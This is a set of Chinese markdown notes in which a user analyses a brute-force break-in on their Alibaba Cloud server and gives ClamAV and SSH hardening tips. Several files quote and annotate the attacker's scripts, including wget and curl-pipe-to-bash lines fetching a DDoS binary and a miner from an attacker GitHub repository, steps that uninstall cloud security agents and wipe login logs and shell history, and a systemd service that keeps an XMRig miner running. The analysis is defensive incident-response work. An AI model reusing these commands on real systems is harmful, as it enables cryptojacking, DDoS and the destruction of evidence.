扫描;-r:迭代目录;-l:指定路径;--max-dir-recursion:指定目录层级。
```
clamscan -r /etc --max-dir-recursion=5 -l /var/log/clamav-scan.log
```
扫描根目录,记录到日志,并删除可疑文件。
```
clamscan -r / -l /var/log/clamscan.log --remove
```
`crontab -e`设置定时任务,注意:定时任务通常都是后台静默运行,没有echo,不会回显在终端。 [跳转LINUXZERO-0.md#clamav](https://github.com/hoochanlon/ihs-simple/blob/main/LINUXZERO-0.md#clamav简明使用)
```
0 3 * * * * clamscan -r / -l /var/log/clamscan.log --remove
```
详请参考:
* [BASH脚本基础:环境变量PROMPT_COMMAND介绍](https://blog.csdn.net/liumiaocn/article/details/104113262)
* [csdn-linux系统定时任务与延迟任务](https://blog.csdn.net/westos_yanzheng/article/details/126604664)
* [csdn-云服务器Linux挖矿病毒杀毒软件clamscan安装](https://blog.csdn.net/m0_59069586/article/details/126956289)
* [51cto-Linux下杀毒软件(ClamAV)安装及使用](https://blog.51cto.com/u_9691128/4293334)
* [betheme.net-centos7.6 yum安装clamav 进行病毒扫描查杀](https://betheme.net/news/txtlist_i98729v.html)
================================================
FILE: AQUICK/CLINUX/LINUXNANO-0.md
================================================
# 记阿里云主机再一次被黑客恶意脚本攻击
## 登录阿里云控制台,查看安全告警信息,并联系客服咨询有关事件详情
接到手机上的短信,我及时联系了他们阿里云的客服,看了下控制台提供的黑客线索

注意到了 https://github.com/Tremblae/Tremble 的信息,主机重置快一个多来月了,这家伙又一次暴破了我的云主机。

这么高的CPU占用,我根据其进程及阿里云提供的线索,注意到了“xmrig”的进程。

下载其文件查看了json文件,已坐实黑客暴力破解及利用其他程序漏洞,攻入我的阿里云主机进行挖矿!

关于黑客仓库里的其他文件,我对阿里云客服也进行了咨询,据客服所述:"通常黑客会隐蔽自己的真实IP,用正则扫描检测公网云主机及开放端口;然后不断用数据字典暴力破解密码,或是其他后门绕开密码植入脚本,或其他二进制程序;这种脚本及程序,通常会卸载系统组件,乱改文件造成系统不稳定,并开放主机其他端口Ddos别人"。


## 清理病毒的参考资料
昨天才安装体验试用了下Clamav,没想到这次居然没起到其杀毒软件的作用啊...也不知道后来了解到的河马查杀效果怎样。经过这次事件后,我对Linux平台杀毒软件检测病毒的能力,也不是太乐观。
了解黑客攻击云主机的行为方式:
* [Daryl179-阿里云服务器被挖矿的解决方法-csdn](https://blog.csdn.net/qq_47464056/article/details/125970479)
* [Daryl179-使用Kali对网站进行DDos攻击-csdn](https://blog.csdn.net/qq_47464056/article/details/127553734?spm=1001.2014.3001.5502)
* [极客飞扬-排查Linux系统下SSH被暴力破解植入pnscan 挖矿病毒入侵服务器](https://www.cnblogs.com/rmfit/p/15624873.html)
定时任务关闭及清除:
* [-阿里云ECS遭挖矿程序攻击解决方法(彻底清除挖矿程序,顺便下载了挖矿程序的脚本)](https://blog.csdn.net/NicolasLearner/article/details/119006769)
* [阿里云安全中心-挖矿程序处理最佳实践](https://help.aliyun.com/document_detail/161236.htm?spm=5176.smartservice_service_robot_chat_new.0.0.37c73f1bUDrKsc#section-xgd-9mh-f0e)
由于是免费领的阿里云主机,我基本上很少登录,所以没配置安装软件之类的,索性把root的定时任务全清除了。

## 后续策略
土豪或企业交给阿里云团队维护另说,这里分享下我了解到的处理方式。
### 1. 修改用户登录策略
***虽然他们文章是不错参考资料,但必须要注意Linux的版本号,版本不一样,命令也是大有改动。19年的centos8取消了pam_tally2模块,但网上不少文章是2022、2020,他们可能当时就是用的centos8以下。***
* [linux 终端 设置连接登录密码 + 登录失败处理功能策略](https://www.cnblogs.com/qwer78/p/16546372.html)
* [uos账号解锁](https://blog.csdn.net/qq_35957643/article/details/125277224)
* [CentOS 8.0配置安全策略(用户3次登录失败锁定3分钟)](https://zhuanlan.zhihu.com/p/127109500?utm_id=0)
以上总结是CentOS8对修改sshd文件的教训,只适合CentOS7及以下。还学到一招查看日志信息`tail -f /var/log/messages`。
修改配置
```
vi /etc/pam.d/system-auth
# 顶行复制如下指令,即默认所有用户通用处理。
auth required pam_faillock.so preauth silent audit deny=3 unlock_time=300 even_deny_root
```
解锁用户
```
# 解锁一个用户
faillock --user It --reset
# 解锁所有用户
faillock--reset
```
阿里给出的[《Linux操作系统加固》](https://help.aliyun.com/knowledge_list/60787.html)文档,本质上就是用户登录策略...不过文档挺好、挺详细的。
### 2. 关闭不需要的远程端口及ICMP回显(ping)
关闭自己不用的桌面系统远程端口,如Windows:3389,SSH:22,改成其他的端口。
````
cp /etc/ssh/sshd_config /etc/ssh/sshd_config_bak/sshd_config && vi /etc/ssh/sshd_config
# 找到 # port 22位置,在下方添加 port 1122
````
但完全限死,只用VNC登录使用的话,太难受了...😂
### 3. 限制IP或更换IP
“0.0.0.0/0”,任何人都能访问,还是不太安全啊...百度关键字“IP”,临时用自己的公网IP登录,弄个弹性IP,换下IP也行吧...不过由于我个人在云主机没放什么重要东西,也没部署ftp、web等服务啥的,用的时候登录网页开启远程访问端口,这样也可以。
### 4. 若是自己存有重要资料及配置,那就自己做好每天的快照备份。
Linux不像微软的Windows那么服务到位,还有补丁推送,有不少杀软防护。基本上一切都得自己来。客服表示我想高枕无忧,啥也不想管,得找得加钱买服务,如:[web应用加固](https://help.aliyun.com/knowledge_list/60792.html),[企业支持](https://www.aliyun.com/service/supportplans),全是一堆要钱的玩意。
可这些高昂费用,反正不适用于我这种个人用户。Linux恶意脚本通过其他程序服务上的机制漏洞,打开及利用这一程序后门,绕过密码注入脚本,搞破坏、静默上传下载、恶意ddos、挖矿等什么的,以及客服也对我给出了阿里云高危漏洞通报的访问入口:https://avd.aliyun.com/high-risk/list 。

总的来说,恶意脚本、软件不时重启打开,又会额外又生成多个脚本垃圾等;待到下次系统启动时,没查杀到的文件又会再自启运行生成其他文件,如此循环是挺难根除的。这样的话,还不如备份快照还原来得快。
### 最后,关于我个人关于对黑客行为的几点猜想
* 这件事先排除掉搞网络安全方面的红白组。
* 受为KPI的媒体小编所胡吹乱奏的“黑客行为”所影响,觉得很酷、很炫,出人头地。
* 无聊搞事,黑客行为当兴趣来报复社会的。
* 可能存在一部分失业者又或是其他职业,有大把时间闲着没事做的人。
* 一些不良组织团体,或个人挖矿进行的暗箱整活搞钱。
================================================
FILE: AQUICK/CLINUX/LINUXNANO-1.md
================================================
# 记上次黑客入侵阿里云主机 —— 代码分析(上)
已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(前面两部分)
## xz.sh部分,即卸载脚本
参考信息源:
* [bili_62374023667-linux下ETH转发服务器+ETH抽水教程,支持SSL加密+删除阿狸监控避免上报](https://www.bilibili.com/read/cv15054271/)
* [csdn-linux+agent卸载_华为云服务器卸载agent监控服务Linux+windows教程](https://blog.csdn.net/weixin_33148621/article/details/113900993)
* [CentOS服务器清除用户登录记录和命令历史方法](https://blog.csdn.net/cljdsc/article/details/123358983)
* [Linux基础:history命令](https://blog.51cto.com/skypegnu1/1941153)
黑客核心代码解读
```
# 首先是下载阿里云盾卸载脚本
wget http://update.aegis.aliyun.com/download/uninstall.sh
chmod +x uninstall.sh && ./uninstall.sh
# 然后屏蔽掉云盾IP
iptables -I INPUT -s 140.205.201.0/28 -j DROP
# 进行恶意卸载云盾等其他组件服务
sh /usr/local/qcloud/stargate/admin/uninstall.sh
# 还把监控都给停止了
service telescoped stop
# 清除系统登录成功命令历史记录
echo > /var/log/wtmp
# 清除登陆系统失败的记录
echo > /var/log/btmp
# 导入空记录,清除历史执行命令
echo > .bash_history
# 清除历史执行命令并保存。
history -c && history -w
# 删掉脚本
rm -rf cd /root/uninstall.sh
```
## k.sh,即杀死进程脚本
参考信息源:
* [Shell 文件或目录操作符(-e、-d、-f、-r、-w、-x)](https://blog.csdn.net/zz00008888/article/details/122360612)
黑客核心代码解读
```
# 结束dos26(可能为ddos)
killall -9 dos26
# 结束不明程序(命名不知其意)
killall -9 tfq
# 结束挖矿程序
killall -9 xmrig
# 删除程序
rm -rf cd /tmp/dos26
rm -rf cd /tmp/tfq
rm -rf cd /tmp/xmrig
# 判断对象是否有可写(Write)权限,是则为真
if [ ! -w "/tmp/dos64" ]; then
# 进入目录,下载恶意dos,赋予读写及执行权限,并执行
cd /tmp;wget https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/dos64;chmod 777 dos64;./dos64
fi
if [ ! -w "/root/c3pool/xmrig" ]; then
# 下载恶意靶机脚本执行
curl -s -L https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/ba.sh | bash -s
fi
# 又一次删除程序
rm -rf cd /tmp/dos26
rm -rf cd /tmp/tfq
rm -rf cd /tmp/xmrig
# 休眠,删掉挖矿记录文件
sleep 88;rm -rf cd /root/c3pool
```
================================================
FILE: AQUICK/CLINUX/LINUXNANO-2.md
================================================
# 记上次黑客入侵阿里云主机 —— 代码分析(中)
已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(bk.sh)
## bk.sh,推测是靶机脚本(if及json部分)
### 第一层 if
参考信息源:
* [百度知道-Linux shell 脚本 $(id -u) 是什么意思?](https://zhidao.baidu.com/question/944658594109817212.html)
* [bbsmax-shell if判断中常用的a-z表达式含义](https://www.bbsmax.com/A/8Bz81Qa6Jx/)
* [linux 环境变量设置 -d,Linux环境变量的设置](https://blog.csdn.net/weixin_35565522/article/details/116774198)
* [Shell中的exit 0 和 exit 1是做什么的?](https://www.pianshen.com/article/37962128580/)
* [博客园-shell中的type命令](https://www.cnblogs.com/chaoguo1234/p/5723531.html)
* [Linux /dev/null详解](https://www.shuzhiduo.com/A/6pdDP9ALdw/)
```
#-----
# 判断是不是root权限
if [ "$(id -u)" == "0" ]; then
echo ""
fi
#----
# 这部分是判断环境配置准备
# “-z 长度为零则为真”,做一个逆向判断,就是找不到这个目录,打印"请将home环境定义到主目录"。
if [ -z $HOME ]; then
echo "ERROR: Please define HOME environment variable to your home directory"
# 异常退出,debug检测的。
exit 1
fi
# 检查是否有家目录,没有则提示导入,引入家目录环境变量
if [ ! -d $HOME ]; then
echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:"
echo 'export HOME=<dir>'
exit 1
fi
# 找不到curl命令定义,则丢入黑洞,跳出
if ! type curl >/dev/null; then
echo "ERROR: This script requires \"curl\" utility to work correctly"
exit 1
fi
# `sudo -n true 2`返回“一个密码请求”的定义信息
# if ! sudo -n true 2>/dev/null; then
# if ! pidof systemd >/dev/null; then
# echo "ERROR: This script requires systemd to work correctly"
# exit 1
# fi
# 看起来是调用(CPU几个核心数*7/10),如果为0,跳出。
CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
echo "ERROR: Can't compute projected Monero CN hashrate"
exit 1
fi
```
以上这echo所打印的报错信息,基本也说明主机不能正常使用,这对他们黑客而言,已经没有任何价值了。如果这些正常的话,则运行下载好的挖矿脚本,以及其专用的挖矿程序。然后又是层层的if环境检验。
### 第二层 if
参考信息源:
* [入门小站-linux之curl命令](https://zhuanlan.zhihu.com/p/519406107)
* [sed -i 命令入门详解](https://blog.csdn.net/h4241778/article/details/125263518)
* [XMR恶意挖矿案例简析](https://www.sohu.com/a/260504074_354899)
* [诱捕黑客的蜜罐系统](https://baijiahao.baidu.com/s?id=1706341262655959831)
* [linux应用之test命令详细解析](https://www.cnblogs.com/tankblog/p/6160808.html)
* [Shell脚本中$0、$?、$!、$$、$*、$#、$@等的意义以及linux命令执行返回值代表意义](https://blog.csdn.net/helloxiaozhe/article/details/80940066)
```
# curl -L --progress-bar 显示网页内容与进度条,存在异常则直接中断退出。
if ! curl -L --progress-bar "https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/xmrig.tar.gz" -o /tmp/xmrig.tar.gz; then
echo "ERROR: Can't download https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/xmrig.tar.gz file to /tmp/xmrig.tar.gz"
echo ""
exit 1
fi
# 不能正常解压缩,退出删除文件
if ! tar xf /tmp/xmrig.tar.gz -C $HOME/c3pool --strip=1; then
echo ""
echo ""
fi
rm /tmp/xmrig.tar.gz
# 使用正则,看上去是为了替换掉原有的config.json的donate-level的数值。
sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/c3pool/config.json
$HOME/c3pool/xmrig --help >/dev/null
# $? 最后命令的退出状态的返回值。0表示没有错误,其他任何值表明有错误。
# # 比较,不等于0,再检验下xmrig还是不是文件,是就打印换行,否则跳出。
if (test $? -ne 0); then
if [ -f $HOME/c3pool/xmrig ]; then
echo ""
echo ""
else
echo ""
echo ""
fi
exit 1
fi
fi
```
### 推测其意,做环境判断之后,用正则配置json
参考信息源:
* [百度知道-Linux下面这条命令能逐个解释一下吗:cat /etc/passwd |cut -f 1 -d ](https://zhidao.baidu.com/question/555970944.html)
* [博客园-Linux命令之cut](https://www.cnblogs.com/zhoujingyu/p/4948051.html)
* [csdn-linux中的sed参数,sed一些参数的用法](https://blog.csdn.net/weixin_39891317/article/details/116855981)
* [linux 抽取ip地址,Linux bash脚本提取IP地址](https://blog.csdn.net/weixin_36371924/article/details/116767805)
* [linux中awk命令详解(最全面秒懂)](https://www.cnblogs.com/zhengyan6/p/16290156.html)
指令逐条解释
* `hostname | cut -f1 -d"."` 将hostname的输出结果,传递给cut,以“.”切割分段行显示
* `sed -r 's/[^a-zA-Z0-9\-]+/_/g'` 删除所有特殊字符(除了数字以及大小写字母)。
* `ip route get 1` 返回路由条目,包括IP、网关、uid。
* `awk '{print $NF;exit}'` 对内容空格分段。
```
PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
# 测试这条命令输出为0
PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
# 推测是配置json账户信息
if [ -z $PASS ]; then
PASS=na
fi
if [ ! -z $EMAIL ]; then
PASS="$PASS:$EMAIL"
fi
```
将json拷贝一份,作为后台文件,再用sed配置成后台运行。
```
cp $HOME/c3pool/config.json $HOME/c3pool/config_background.json
sed -i 's/"background": *false,/"background": true,/' $HOME/c3pool/config_background.json
```
================================================
FILE: AQUICK/CLINUX/LINUXNANO-3.md
================================================
# 记上次黑客入侵阿里云主机 —— 代码分析(上)
已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(bk.sh)
## bk.sh,推测是靶机脚本(注入service部分)
### `cat >/tmp/c3pool_miner.service <<EOL` 注入设置脚本后台启动等
#### EOL注入脚本文件
参考信息源:
* [知乎专栏-heredoc入门](https://zhuanlan.zhihu.com/p/93993398)
* [linux265-pidof命令](https://linux265.com/course/linux-command-pidof.html)
* [linux265-nice命令](https://linux265.com/course/linux-command-nice.html)
`<<EOL EOL`创建与书写任意格式文本及代码。`pidof xxx`为查看xxx程序的进程号。nice命令调度进程的优先级,根据教程资料来看,黑客的代码语法还有些问题。不过,基本大意是非xmrig进程就直接低优先级。
```
cat >$HOME/c3pool/miner.sh <<EOL
#!/bin/bash
if ! pidof xmrig >/dev/null; then
nice $HOME/c3pool/xmrig \$*
else
echo ""
fi
EOL
```
#### service内容解读
参考信息源:
* [博客园-Linux 下的两个特殊的文件 -- /dev/null 和 /dev/zero 简介及对比](https://www.cnblogs.com/lishihai/p/7986565.html)
* [csdn-&>/dev/null表示的意思](https://blog.csdn.net/heybeaman/article/details/89500337)
* [Linux *.service文件详解](https://blog.csdn.net/weixin_44352521/article/details/126679172)
* [journalctl基本介绍](https://blog.csdn.net/weixin_45537987/article/details/106762104)
`xxx 2>dev/null`屏蔽错误输出。`>/dev/null 2>&1`什么回显都不用,言外之意就是抹掉记录。
```
# 判断有没有 systemctl 这命令
if ! type systemctl >/dev/null; then
echo ""
echo ""
/bin/bash $HOME/c3pool/miner.sh --config=$HOME/c3pool/config_background.json >/dev/null 2>&1
echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."
else
# 生成挖矿服务配置
echo "[*] Creating c3pool_miner systemd service"
# 以下为注入配置
cat >/tmp/c3pool_miner.service <<EOL
[Unit] # 这个字段给出服务描述、启动顺序和依赖关系
Description=Monero miner service # 描述信息,挖矿服务
[Service] # 这个字段主要给出启动、重启、停止的策略行为
# 定义启动进程时执行的命令
ExecStart=$HOME/c3pool/xmrig --config=$HOME/c3pool/config.json
# 不管什么原因退出都会重启
Restart=always
# nice 10进程数值
Nice=10
CPUWeight=1
[Install] # 该字段定义如何安装,以及开机自启。
# Systemd有默认的启动 Target,就是 multi-user.target,即开机启动。
# 表示该服务所在的服务组,multi-user服务组。
WantedBy=multi-user.target
EOL
# 将tmp目录注入的服务配置移动到系统进程服务配置里去
sudo mv /tmp/c3pool_miner.service /etc/systemd/system/c3pool_miner.service
echo ""
echo ""
#
sudo killall xmrig 2>/dev/null
sudo systemctl daemon-reload
# 启用挖矿服务,并开始挖矿
sudo systemctl enable c3pool_miner.service
sudo systemctl start c3pool_miner.service
# 要查看矿工服务日志,请运行 "sudo journalctl -u c3pool_miner -f"命令
echo "To see miner service logs run \"sudo journalctl -u c3pool_miner -f\" command"
echo ""
fi
```
## “echo”及“#”打印及注释信息收集
### echo
"echo"部分为英语,我用翻译及个人有限功底理解其代码。第一行,中二教言语,忽略;从第二行开始翻译解读。
```
# 这部分是配置准备,以及调试
## 请将home环境定义到主目录。
echo "ERROR: Please define HOME environment variable to your home directory"
## 请确保home环境已设置
echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:"
# 从这行的上部分代码推测实在挖矿了, 无法计算比特币什么的
## 错误:无法计算预计的门罗币 CN 哈希率
echo "ERROR: Can't compute projected Monero CN hashrate"
## 报错,无法计算端口,输出错误端口
echo "ERROR: Can't compute port"
echo "ERROR: Wrong computed port value: $PORT"
# 进一步的恶意操控挖矿
## 下载与后台运行Monero CPU矿机/主机
echo "I will download, setup and run in background Monero CPU miner."
## 如果需要,前台的矿工可以通过$HOME/c3pool/miner.sh脚本启动。
echo "If needed, miner in foreground can be started by $HOME/c3pool/miner.sh script."
# 挖矿将发生在 $WALLET 钱包上。这句话打印出来,就说明之前所有暗箱操作全完成了。
echo "Mining will happen to $WALLET wallet."
# 删掉挖矿的目录
echo "[*] Removing $HOME/c3pool directory"
```
### “#”(全部为机翻)
打印问候语;命令行参数;检查先决条件
```
# printing greetings
# command line arguments
# checking prerequisites
```
计算端口;印刷的意图;开始做事:准备矿工
```
# calculating port
# printing intentions
# start doing stuff: preparing miner
```
准备脚本
```
# preparing script
```
准备脚本后台工作和重启时的工作
```
# preparing script background work and work under reboot
```
================================================
FILE: AQUICK/CLINUX/LINUXNANO-4.md
================================================
# 记上次黑客入侵阿里云主机 —— 入侵行为分析
> ***防治手段转到[LINUXINTRO-0 SSH密钥策略](/LINUXINTRO-0.md)与[LINUXINTRO-0 FAIL2BAN策略](/LINUXINTRO-1.md)。***
> ***注:一旦主机被黑客破解,通常都会在主机登录上,驻留SSH密钥,以及其他软件服务等登录的通行证后门。***
## 入侵方式
此前我好奇一个问题: 我的服务器都没有域名,黑客是什么扫到我的服务器公网地址的?针对这一问题我联系了阿里云客服。与之沟通答复及讨论,要点总结如下:
### 杜美莎手法
在没有公网业务、服务部署的前提下,黑客基本上是通过“[杜美莎](http://foofus.net/goons/jmk/medusa/medusa.html)”之类的软件来进行入侵的。黑客会通过其他渠道购买及下载IP池,批量扫描,字典破解密码,因为服务器的都是暴漏在公网环境下的。杜美莎是集IP扫描、端口探测、密码暴破于一身的主机渗透解锁软件。
### ddos攻击
“如果对方换成ddos攻击,这个就是杀敌1000,自损800没什么深仇大恨,不会去搞。” 客服补充说道;我便回“自损800?没有吧,ddos不是一直ping吗?ping又不需要什么东西。” 听到这话,客服举例向我解释:“我攻击您50G流量,这个50G流量从哪里来的,我自己的流量啊”。
### 中间人攻击
看了文章这篇[csdn-中间人攻击](https://blog.csdn.net/holen_/article/details/122839940),黑客需要从中间劫持双方通信的流量包,并对流量包解包分析参数。这又对黑客提出要求,即理解网络方面的专业知识,而且我和阿里云之间的密码输入是https post请求(参考信息[POST请求](https://blog.csdn.net/weixin_41040445/article/details/115260390)),又得要求黑客需要了解一定的密码学知识。此外截获这方面的流量,可能还得去运营商那租台服务器什么。
综合起来,这对黑客的人力物力及时间的成本高了。黑客极有可能清楚这台主机局域网的网络走向的,知道做什么业务才侵入进来。
> 附图转自 [csdn-中间人攻击](https://blog.csdn.net/holen_/article/details/122839940)
中间人攻击知会图解

中间劫获方法简要图解

黑客选择那种手段也会考虑成本

上回分析过病毒源码,这回来看个图, 顺便了解下[腾讯主机安全(云镜)捕获挖矿木马源码分析](https://s.tencent.com/research/report/1181.html),加强理解。
> 转 [cnblogs-双平台传播——活跃的H2Miner组织挖矿分析](https://www.cnblogs.com/bonelee/p/16378059.html)

## 附录与参考资料
### 清除SSH密钥后门
查找主机上用户的ssh authorized_keys,再看看有没有公钥。
```
find / -name authorized_keys && find / -name id_rsa.pub
```
保险起见,应做ssh密钥备份到本地,就算是黑客入侵,备份还原过去还是省事些。
### 参考
* [csdn-SSH密钥提权](https://blog.csdn.net/qq_37407863/article/details/125574878)
* [51cto-linux清除.sshd后门(udev)](https://blog.51cto.com/u_11742478/2050463)
* [Hi技术分享-SSH删除密钥](https://www.hi917.com/detail/282.html)
* [51cto-恼人的DLL后门完全清除秘诀 ](https://blog.51cto.com/xiong/13226?articleABtest=0)
* [使用Medusa美杜莎暴力破解SSH密码-51CTO博客](https://blog.51cto.com/u_15766933/5630258)
* [Docker SYS_ADMIN 容器逃逸原理解析 - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/264843.html)
* [Linux默认端口,如何防止被恶意扫描](https://www.bilibili.com/read/cv6200341)
* [Linux/centos减轻/防止DDoS攻击的轻量级小程序,软件防火墙 - 大概是个博客](https://dagai.net/archives/893)
* [腾讯主机安全(云镜)捕获挖矿木马4SHMiner,已有上万服务器受害(2020)](https://s.tencent.com/research/report/1181.html)
* [cnblogs-双平台传播——活跃的H2Miner组织挖矿分析](https://www.cnblogs.com/bonelee/p/16378059.html)
================================================
FILE: AQUICK/CLINUX/LINUXNANO-5.md
================================================
# 记上次黑客入侵阿里云主机 —— “ssh -D”事件专项分析
> ***防治手段转到[LINUXINTRO-0 SSH密钥策略](/LINUXINTRO-0.md)与[LINUXINTRO-0 FAIL2BAN策略](/LINUXINTRO-1.md)。***
> ***注:一旦主机被黑客破解,通常都会在主机登录上,驻留SSH密钥,以及其他软件服务等登录的通行证后门。***
## 回顾阿里云客服对我的解惑

阿里云客服对我的回复:“您那个ctrl +C只是中断了您输入密码的这个步骤;那个意思是,我已经和服务器通过非正常的方式连接,我从中偷偷的断开,不会对sshd服务有影响。”并且向我展示了`systemctl status sshd`,查看有哪些主机进行ssh连接。(他意思应该是指黑客断开动态端口转发,不会影响到我正常ssh远程连接的使用。)

对比我咨询客服的时间(蓝色的IP是北京阿里云,绿色的四川,红色的俄罗斯),看上去其实安全问题还蛮严重的。因为这些时间点我都没去管阿里云,ssh协议及端口,也是我有意直接ban掉的,等联系阿里云客服再开启,居然有人想尝试登录。

由于我的“var/log/wtmp”和“utmp”被黑客删了,`last`、`lastb`二者来查看“尝试及登录过系统的用户”,也没什么效果了。但`journalctl`是可以的。我分析了下原因:一是他自身的编程知识水平,另一可能是有意而为之。有意为之要因推测:
从[知乎专栏-linux系统下各种日志文件的介绍,查看及日志服务配置](https://zhuanlan.zhihu.com/p/298335887)等相关文章可看出,屏蔽日志可以说是比较麻烦的,而且熟悉Linux也不会给你可乘之机啊。挖矿一直都会有日志产生,反正小白即不会也不懂怎么看;再者,看着情况公网主机基本上遭人扫描、暴破也是常事了。觉得没必要`rm /var/log/journal/* -rf;systemctl restart systemd-journald`,这显得多此一举;以及我的主机禁用日志服务测试情况:就算清除日志与`disable`掉日志服务,开机一样会自启记录。
不由得想起`top`任务进程与`chkconfig`运行级别想关联,再联想又会牵涉到`.service`服务调用模块上;所以,现在还是要回到正题`ssh -D`上,这些层层关联稍后再梳理。
## ssh -D
紧接着就是`ssh -D`后面的一堆“乱码”。

根据阿里云客服提示的“[chacha20-poly1305](https://baike.baidu.com/item/chacha20-poly1305/19712425?fr=aladdin)加密算法”,再结合`ssh -D [本地地址:]本地端口号 远程用户@远程地址`来推测,现在看有两种可能:一、黑客当时可能用的是他自己的主机,还没用其他肉鸡做跳板到我这;二、这种加密方式已经很普遍了,除了比较高端科技的云盾,可能真的拿它不是办法。

经过一次病毒源码分析,以及了解了黑客常见的几种入侵方式,综合来看,黑客也会自然拿我这台主机做肉鸡ddos别人。这与`ssh -D`颇有出入,`ssh -D`动态端口转发,比如:把发到B机器上面的请求,都转发到A机器上面;让A机器去执行请求,所执行的网络及其他服务请求,会消耗A机器的流量以及A主机的各项资源。再用A这台主机做跳板,又`ssh -D`动态转发到其他肉鸡上,可真算得上隐蔽。暴力破解我密码,自然会去查我主机IP,而且我的主机密码是符合复杂规律,但实际上又是特别简单的密码:“P@ssw0rd”。难怪这也解释了,为什么黑客会两次三番地入侵我主机。
再来理解一遍,客服对我关于`ssh -D`疑问的答复:“我已经和服务器通过非正常的方式连接,我从中偷偷的断开,不会对sshd服务有影响。” 以及结合查找的文章资料[为什么ssh一关闭,程序就不再运行了?](https://www.cnblogs.com/lomper/p/7053694.html),看完如下引用这篇文章的这句话基本明白是怎么一回事了,涉及到sshd进程组方面的知识,保持通信防止挂断ssh被察觉。
> 因此当网络断开或终端窗口关闭后, 也就是SSH断开以后, 控制进程收到 SIGHUP 信号退出, 会导致该会话期内其他进程退出;简而言之: 就是 ssh 打开以后, bash等都是他的子程序, 一旦ssh关闭, 系统将所有相关进程杀掉!! 导致一旦ssh关闭, 执行中的任务就取消了.
参考:
* [知乎专栏-SSH的使用详解](https://zhuanlan.zhihu.com/p/339808892)
* [cnblogs-ssh -D -L -R 差异](https://www.cnblogs.com/-chaos/p/3378564.html)
* [SSH 命令的三种代理功能(-L/-R/-D)](https://zhuanlan.zhihu.com/p/57630633)
* [百度文库-第十章 守护进程与计算机网络安全](https://wenku.baidu.com/view/d29e1399cd2f0066f5335a8102d276a20029608c.html)
* [51cto-守护进程与远程登录服务器](https://blog.51cto.com/wait0804/1783308)
* [腾讯新闻-SSH服务渗透测试利用指北](https://new.qq.com/rain/a/20200629A0AUZX00)
================================================
FILE: AQUICK/CLINUX/LINUXSWAP-0.md
================================================
### ddos、堡垒机、云蜜罐
* [csdn-什么是高防IP?](https://blog.csdn.net/qq_44887910/article/details/128775342)
* [新网知识社区-常见的ddos防护方法有哪些?](https://blog.csdn.net/weixin_45761101/article/details/121940520)
* [jumpserver/jumpserver](https://github.com/jumpserver/jumpserver)
* https://github.com/hacklcx/HFish
* https://github.com/birdhan/SecurityProduct
### 网络修改
* [linux设置软链接](https://www.cnblogs.com/dengsheng/p/16313069.html)
* [51cto-linux 添加路由 ](https://blog.51cto.com/crazyming/568781)
* [百家号-如何在 Linux 中使用 nmcli 命令配置 IP 网络](https://baijiahao.baidu.com/s?id=1752077717322308869&wfr=spider&for=pc&searchword=Linux网络配置nmui)(nmcli )
nmcli 永久生效的;ifconfig 临时生效。
#### 特权提升与密码破解
* [详细|Linux提权总结](https://blog.csdn.net/st3pby/article/details/127718846)
* [腾讯新闻-Linux特权提升技术合集](https://view.inews.qq.com/k/20211015A001PB00?web_channel=wap&openApp=false)
* [cnblogs-【THM】John The Ripper(hash破解工具)-学习](https://www.cnblogs.com/Hekeats-L/archive/2022/09/30/16745318.html)
### 勒索病毒
* https://www.nomoreransom.org/en/decryption-tools.html
* https://lesuobingdu.360.cn
## docker
* [www.freebuf.com-内网代理转发工具总结](https://www.freebuf.com/sectool/308049.html)
* [Error starting userland proxy: listen tcp4 0.0.0.0:8005: bind: address alrea](https://blog.csdn.net/qwq1518346864/article/details/117597351)
* [xiebruce.top-macOS使用了代理也无法ping通google的原因及其解决办法](https://www.xiebruce.top/1718.html)
* [csdn-Linux端口转发的几种常用方法](https://blog.csdn.net/u010680373/article/details/124779749)
* [cnblogs-怎么让 Linux 进程在后台运行](https://www.cnblogs.com/iluoye/p/16620660.html)
* [Podman一篇就学会](https://blog.csdn.net/hyhxy0206/article/details/121943182)
* [爱码网-linux全局代理,终端走代理](https://www.likecs.com/show-205071856.html)
* [【玩转docker】反向代理神器:Nginx Proxy Manager](https://zhuanlan.zhihu.com/p/536791628?utm_id=0)
* [cnblogs-Linux/CentOS设置全局代理(http)](https://www.cnblogs.com/EasonJim/p/9826681.html)
* [Linux 配置 ProxyChains 本地代理](https://gukaifeng.cn/posts/linux-pei-zhi-proxychains-ben-di-dai-li/)
<s>yum install docker -y </s> 少走弯路,按官网配置
Expert 优先级 proxychain 高,注意关闭expert proxy=xxxxx。
```
# 查找端口进程
netstat -tanlp
# 杀掉相关进程
sudo kill 4257
# 容器进程
docker ps
# 杀死容器进程
podman kill "docker容器进程ID" > /dev/null 2&>1
yum install -y epel-release
yum install -y httping
# 使用方法
httping -x 127.0.0.1:1087 -g https://www.google.com
# 即便使用了代理,chatgpt依旧会检查是否为代理IP,而ban IP。
```
================================================
FILE: AQUICK/CLINUX/LINUXSWAP-1.md
================================================
# python在Linux环境下编译安装过程随想
## 结论前置
不想看大篇幅理解安装python多版本的过程,可以直接照着我自己整理的结论,便可。
* nix可适用于多个不同场景的程序语言开发版本环境部署和测试,进入到其nix shell等于独立的虚拟环境。
* nix安装的程序,目前的维护状况,程序都比较新(2022.3.9),不用编译安装,直接走命令即可。
* pyenv灵活地安装与切换python版本,搭配poetry可快速生成相应版本环境。
* pipx升级依赖工具包方便,不用担心全局兼容问题。
